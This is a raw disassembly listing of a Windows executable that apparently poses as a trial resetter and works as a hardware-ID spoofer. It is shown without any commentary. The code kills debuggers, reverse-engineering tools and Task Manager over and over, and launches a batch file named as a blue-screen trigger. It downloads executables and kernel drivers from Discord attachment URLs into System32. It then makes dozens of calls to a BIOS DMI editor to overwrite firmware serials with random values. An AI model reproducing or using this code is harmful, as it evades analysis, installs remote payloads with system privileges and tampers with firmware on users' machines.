lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Resetting_Trials._Please_Wait.
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x1bc8], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x1bc8]
call fcn.1400abde0
lea rdx, str.C:UserspublicDesktop_nfLauncher.exe
lea rcx, [rsp + 0xcdd0]
call fcn.14005d9d0
nop
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:UserspublicDesktop_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x3ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4030]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x40b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x40b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x40b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x40d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x40d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x40d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x40f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x40f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x40f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4190]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x41b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x41b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x41b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x41d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x41d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x41d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x41f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x41f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x41f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x42b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x42b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x42b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x42d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x42d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x42d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x42f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x42f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x42f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x43b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x43b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x43b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x43d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x43d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x43d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x43f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x43f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x43f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x44b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x44b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x44b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x44d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x44d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x44d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x44f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x44f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x44f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x45b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x45b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x45b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x45d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x45d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x45d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x45f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x45f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x45f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4670]
call fcn.14005d9d0
nop
